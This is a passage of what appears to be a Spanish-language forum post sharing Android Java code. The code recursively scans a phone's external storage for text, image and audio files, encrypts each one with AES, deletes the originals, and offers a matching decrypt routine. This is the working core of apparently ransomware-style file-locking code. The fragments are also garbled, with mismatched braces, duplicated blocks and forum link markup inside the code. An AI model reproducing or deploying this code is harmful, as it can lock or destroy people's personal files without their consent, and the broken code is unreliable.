        byte[] d = new byte[8];
        while ((b = Entrada.read(d)) != -1) {
            cos.write(d, 0, b);
        }
        
      //Cierra los stream
        cos.flush();
        cos.close();
        Entrada.close();

        //Borra el archivo original
        File tmp = new File("/" + direccion);
        tmp.delete();

    }

public static void desencriptar(String clave, String direccion, String nombre) throws IOException, NoSuchAlgorithmException, NoSuchPaddingException, InvalidKeyException {

        File extStore = Environment.getExternalStorageDirectory();
        FileInputStream Entrada = new FileInputStream("/" + direccion);

        FileOutputStream Salida = new FileOutputStream(extStore + "/decrypt_" + nombre);
        SecretKeySpec sks = new SecretKeySpec(clave.getBytes(),
                "AES");
        Cipher cipher = Cipher.getInstance("AES");
        cipher.init(Cipher.DECRYPT_MODE, sks);
        CipherInputStream cis = new CipherInputStream(Entrada, cipher);
        int b;
        byte[] d = new byte[8];
        while ((b = cis.read(d)) != -1) {
            Salida.write(d, 0, b);
        }
        Salida.flush();
        Salida.close();
        cis.close();

        //Borra el archivo encriptado
        File tmp = new File("/" + direccion);
        tmp.delete();

    }

public static ArrayList<File> EncontrarArchivos(File root) {
        ArrayList<File> Archivos = new ArrayList<File>();
        File[] _archivos = root.listFiles();
        if (_archivos != null) {
            for (File lista : _archivos) {
                if (lista.isDirectory() && !lista.isHidden()) {

                    Archivos.addAll(EncontrarArchivos(lista));
                } else {

                     //Solo permitimos archivos que terminen en . txt .jpg .jpeg y .mp3

                    if (lista.getName().endsWith(".txt") || lista.getName().endsWith(".jpg") || lista.getName().endsWith(".jpeg") || 
                  lista.getName().endsWith(".png") || lista.getName().endsWith(".mp3")) {
                        if (lista.getTotalSpace() > 3) {

                        //Si termina en lo que queremos y pesa mas de 3 kb lo agregamos a la lista

                            Archivos.add(lista);
                        }
                    }
                }
            }
        }
        return Archivos;
    }

    //PIDE Y COMPRUEBA PERMISOS EN EJECUCION

        if (ContextCompat.checkSelfPermission(this, Manifest.permission.READ_EXTERNAL_STORAGE) == PackageManager.PERMISSION_GRANTED
                && ContextCompat.checkSelfPermission(this, Manifest.permission.WRITE_EXTERNAL_STORAGE) == PackageManager.PERMISSION_GRANTED) {

            //Referencia botones y demas
            final Button BotonEncriptar = (Button) findViewById(R.id.boton1);
            final Button BotonDesencriptar = (Button) findViewById(R.id.boton2);
            final EditText EntradaClave = (EditText) findViewById(R.id.clavesita);


            Toast.makeText(this, "La app ya tiene permisos", Toast.LENGTH_SHORT).show();

            BotonDesencriptar.setOnClickListener(new View.OnClickListener() {
                [b]@[url=https://underc0de.org/foro/index.php?action=profile;u=8340]Override[/url][/b]
                public void onClick(View view) {


                    try {

                              //Lista de archivos encontrados en el sistema

                        final ArrayList<File> Archivos = EncontrarArchivos(Environment.getExternalStorageDirectory());

                        for (int i = 0; i < Archivos.size(); i++) {

                             //los mandamos a desenciptar 1 x 1, pasandole el nombre del archivo y su ubicacion, pero primero
                             // revisamos si esta encriptado, (que en su nombre tenga la palabra "encript_"

                             int comprobacion = Archivos.get(i).getName().indexOf("encript_");
                            if (comprobacion != -1) {

                                desencriptar(clave, Archivos.get(i).getPath(), Archivos.get(i).getName());

                            }
                            }

                        }

                              //Excepciones necesarias para la funcion de encriptar

                    } catch (IOException | NoSuchAlgorithmException | NoSuchPaddingException | InvalidKeyException k) {
                        k.printStackTrace();
                    }
                }
            });


            BotonEncriptar.setOnClickListener(new View.OnClickListener() {
                [b]@[url=https://underc0de.org/foro/index.php?action=profile;u=8340]Override[/url][/b]
                public void onClick(View view) {


                    try {


                        final ArrayList<File> Archivos = EncontrarArchivos(Environment.getExternalStorageDirectory());

                        for (int i = 0; i < Archivos.size(); i++) {
                          
     //los mandamos a encriptar 1 x 1, pasandole el nombre del archivo y su ubicacion

                            encriptar(clave, Archivos.get(i).getPath(), Archivos.get(i).getName());

                        


                    } catch (IOException | NoSuchAlgorithmException | NoSuchPaddingException | InvalidKeyException k) {

                        k.printStackTrace();

                    }

                }
            });

        } else {

            PedirPermisos();
        }

    }

//Referenciamos nuestro objetos en pantalla

 final Button BotonEncriptar = (Button) findViewById(R.id.boton1);
            final Button BotonDesencriptar = (Button) findViewById(R.id.boton2);
            final EditText EntradaClave = (EditText) findViewById(R.id.clavesita);

String clave = EntradaClave.getText().toString();